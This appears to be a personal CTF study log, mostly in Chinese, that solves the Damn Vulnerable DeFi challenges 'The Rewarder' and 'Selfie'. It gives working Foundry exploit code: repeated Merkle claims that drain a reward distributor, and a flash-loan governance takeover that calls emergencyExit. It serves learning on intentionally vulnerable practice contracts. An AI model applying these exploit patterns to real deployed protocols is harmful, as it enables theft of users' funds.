    bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");

    /**
     * 計算需要重複 Reclaim 多少次才能滿足題目要求
     *   WETH reclaim 次數 = (distributor持有量) / (player單次可領取量)
     *   DVT reclaim 次數 = (distributor持有量) / (player單次可領取量)
     */
    uint256 DVT_in_distributor = dvt.balanceOf(address(distributor));
    uint256 WETH_in_distributor = weth.balanceOf(address(distributor));
    uint256 player_claimable_DVT = 11524763827831882;
    uint256 player_claimable_WETH = 1171088749244340;

    uint256 total_reclaim_times_DVT = DVT_in_distributor / player_claimable_DVT;
    uint256 total_reclaim_times_WETH = WETH_in_distributor / player_claimable_WETH;
    uint256 total_reclaims_times = total_reclaim_times_DVT + total_reclaim_times_WETH;
        
    console.log("[Before Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
    console.log("[Before Attack] weth.balanceOf(distributor): ", WETH_in_distributor);

    /**
     * 建構 claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) 的參數
     */
    IERC20[] memory inputTokens = new IERC20[](2);
    inputTokens[0] = IERC20(address(dvt));
    inputTokens[1] = IERC20(address(weth));
    
    Claim[] memory inputClaims = new Claim[](total_reclaims_times);

    for (uint256 i; i < total_reclaims_times; ++i) {
        if(i < total_reclaim_times_DVT) {
            inputClaims[i] = Claim({
                batchNumber: 0,
                amount: player_claimable_DVT,
                tokenIndex: 0,
                proof: merkle.getProof(dvtLeaves, 188) // Player's address is at index 188
            });
        } else {
            inputClaims[i] = Claim({
                batchNumber: 0,
                amount: player_claimable_WETH,
                tokenIndex: 1,
                proof: merkle.getProof(wethLeaves, 188) // Player's address is at index 188
            });
        }
    }
    
    /**
     * Run exploit
     */
    
    distributor.claimRewards(inputClaims, inputTokens);
    
    /**
     * Check result
     */
    DVT_in_distributor = dvt.balanceOf(address(distributor));
    WETH_in_distributor = weth.balanceOf(address(distributor));
    console.log("[After Attack] dvt.balanceOf(distributor): ", DVT_in_distributor);
    console.log("[After Attack] weth.balanceOf(distributor): ", WETH_in_distributor);

    if (DVT_in_distributor > 1e16) {
        console.log("You shall not pass because to too much DVT in distributor"); // expect not show
    }

    if (WETH_in_distributor > 1e15) {
        console.log("You shall not pass because to too much DVT in distributor"); // expect not show
    }

    /**
     * Transfer to recovery
     */
    dvt.transfer(recovery, dvt.balanceOf(player));
    weth.transfer(recovery, weth.balanceOf(player));
}

2024.09.19

  • 把 09.18 的題目補完

  • 稍微看了一下 DVD-06-Selfie,肉眼掃 Code

  • 目測感覺是要找方法濫用 SimpleGovernance 來呼叫 SelfiePool.emergencyExit() 函數,把 token 幹走

  • 因為感覺 flashLoan() 函數沒什麼地方可以把錢偷走了...transfer走的 token 應該也會在後續的 transferFrom 被拿回來

  • 未看實施細節先猜,過關方式是呼叫 queueAction() 函數 pending 一個 proposal 進去

  • 然後再呼叫 executeAction() 函數,以 Governance 的身份執行 SelfiePool.emergencyExit() 函數

  • 再往深一點的地方看,尋找正確呼叫 SimpleGovernance.queueAction() 的方式,發現它需要有一定數量的 voting token 才能 queue 一個 Action

    • 我猜測這裡應該是要透過 SelfiePool.flashLoan() 借一點 voting token 出來
  • 要執行 SimpleGovernance.executeAction() 看起來是必須等待 queue 了 Action 之後 2 天嗎...Hmmm

    • unchecked{ timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt} 這一段看起來怪詭異的...
    • 但感覺...這好像只是為了省 overflow checker 的 gas fee, 實際上也沒看到可以利用的地方呢...
  • 那這樣好像只能手動用 Foundry 作弊,快轉區塊時間 2 天了呢

  • 明天補上 Exploit Code

2024.09.20

[DamnVulnerableDeFi-06] Selfie

  • 通關條件: 把 SelfiePool 合約的 token 餘額偷走,轉到 recovery 帳號去
  • 解法:
    • 昨天的分析是正確的,可以參考 09.19 的解題分析內容。
    • 我們需要做的是: 發起一個 SelfiePool.flashLoan()
    • SelfiePool 合約的 voting token 借出來
      • 呼叫 token.delegate(address(this)) 使攻擊合約有足夠的 vote 可以通過 SimpleGovernance._hasEnoughVotes() 的檢查
      • SimpleGovernance 發起一個 queueAction() 請求
      • queueAction(bytes calldata data) 裡面帶入的參數是 SelfiePool.emergencyExit(recovery)
      • 閃電貸還款
    • 然後等待 2 天,使 queue 進去的 Action 足夠成熟 (可以用 Foundry 作弊碼快轉區塊時間)
    • 然後呼叫 SimpleGovernance.executeAction() 來把 SelfiePool 的 voting token 全部拿出來
import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";

    function test_selfie() public checkSolvedByPlayer {
        Hack hack = new Hack(token, governance, pool, recovery);
        
        bytes memory data = abi.encodeWithSignature("emergencyExit(address)", recovery);
        pool.flashLoan(hack, address(token), TOKENS_IN_POOL, data);

        vm.warp(2 days + 1);

        governance.executeAction(1);
    }


contract Hack is IERC3156FlashBorrower {
    DamnValuableVotes _token;
    SimpleGovernance governance;
    SelfiePool pool;
    address recovery;

    constructor(DamnValuableVotes token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
        _token = token;
        governance = _governance;
        pool = _pool;
        recovery = _recovery;
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external override returns (bytes32) {
        _token.delegate(address(this));
        governance.queueAction(address(pool), 0, data);

        IERC20(token).approve(msg.sender, type(uint256).max);
        
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

[DamnVulnerableDeFi-07] Compromised